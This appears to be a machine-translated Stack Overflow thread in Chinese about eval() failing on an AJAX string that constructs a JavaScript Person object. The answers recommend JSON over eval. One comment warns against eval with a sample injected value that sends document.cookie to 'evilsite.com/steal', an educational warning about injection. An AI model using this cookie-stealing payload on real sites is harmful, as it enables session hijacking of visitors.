2010-10-19 142 views
0

这里的问题是字符串:评估字符串对象(JavaScript)的

$.ajax(...... 
    ,success:function(msg){ 
     var obj = eval('['+msg.d+']'); 
    }, 
    .... 
} 

msg.d包含如下:

new Person(2, 'Name Surname','This is just string came from Par'is at Sat'urday'); 

如何传递的JavaScript的问题?

+1

'eval()'是'EVIL'。 'eval()'会评估字符串中的所有内容,无论它是否好用,这取决于你提供的人员数据来自哪里,你最终可能会遇到一个很大的安全问题。如果用户设法像''new s Image ='src ='http://evilsite.com/steal?c='+ document.cookie''这样的名字偷偷摸摸地进入你的数据库,你的页面仍然可以完美运行很好,只有两件事情会有所不同1.姓氏将是空的,2.访问者的登录cookie将被盗用。请查看JSON,以便您可以安全地将数据传递给客户端,而不会有eval的风险 – 2010-10-19 15:09:56

+0

Ajax调用不会假设服务器端脚本返回的数据类型,因此msg只是一个字符串,而字符串不会'没有'd'属性。 – dvhh 2010-10-20 04:33:37

回答

1

在这种情况下使用eval是非常危险的。你真的应该使用XML或JSON。 (这就是为什么他们称之为AJAX的原因。)

+2

要明确,AJAX中的J适用于JavaScript,而不适用于JSON ...并且字符串适用于该类别。 – 2010-10-19 14:08:19

+0

@Nick,我指的是X.而J并没有提到通过eval使用Javascript代码作为通信媒介。 – 2010-10-19 14:09:45

+1

@Eric - JSON不提供传递可执行函数的方法,那么它会直接在这里解决什么? – 2010-10-19 14:11:03

5

如果字符串的确如您所引用的那样,它有一个语法错误并且不起作用(它在单词“Saturday”中有一个错误的')。否则,尽管你eval呼叫改变括号([])圆括号(()):

var obj = eval('('+msg.d+')'); 

但是,应该几乎从来没有真正需要做到这一点(或者实际上在使用eval所有)。几乎总是有可能,并且希望稍微重构并避免它。

如果这是您的代码的文字引用,另请参阅dvhh's answer below,您的函数参数名称(msg.d)无效。

0

我会避免使用eval()出于安全原因。如果用户可以将恶意代码加入到数据库中,那么这个eval表达式就有可能最终出现,对任何访问此页面的人都会造成严重破坏。

而不是使用eval,我建议从AJAX请求返回JSON。然后,您可以轻松解析这些值并使用该数据构建一个新的Person对象。

1

功能参数应该是一个有效的JavaScript标识

尝试改变msg.d到msg_d例如

+0

好吧,发现... – 2010-10-19 14:12:19

1

您可能需要逃避你的字符串,因为这个例子正常工作:

function MyObject(myvar){ 
    this.hello = function(){ 
     alert('myvar= ' + myvar); 
    }; 
} 

var obj1 = new MyObject('hello'); 
obj1.hello(); 

var obj2 = eval("new MyObject('world')"); 
obj2.hello(); 

(编辑:顺便说一句,我认为msg.d是由于在发布StackOverflow之前编辑snipplet而造成的错字?)

+0

如果你有控制服务器端,我会建议使用JSON(或XML,但它稍微慢一点),这使事情更易于维护和使用(我假设你使用jQuery由于$ .ajax),只需将“dataType”字段更改为“json”,即可在成功处理程序中直接获得一个很好的结构)。 – wildpeaks 2010-10-19 14:18:56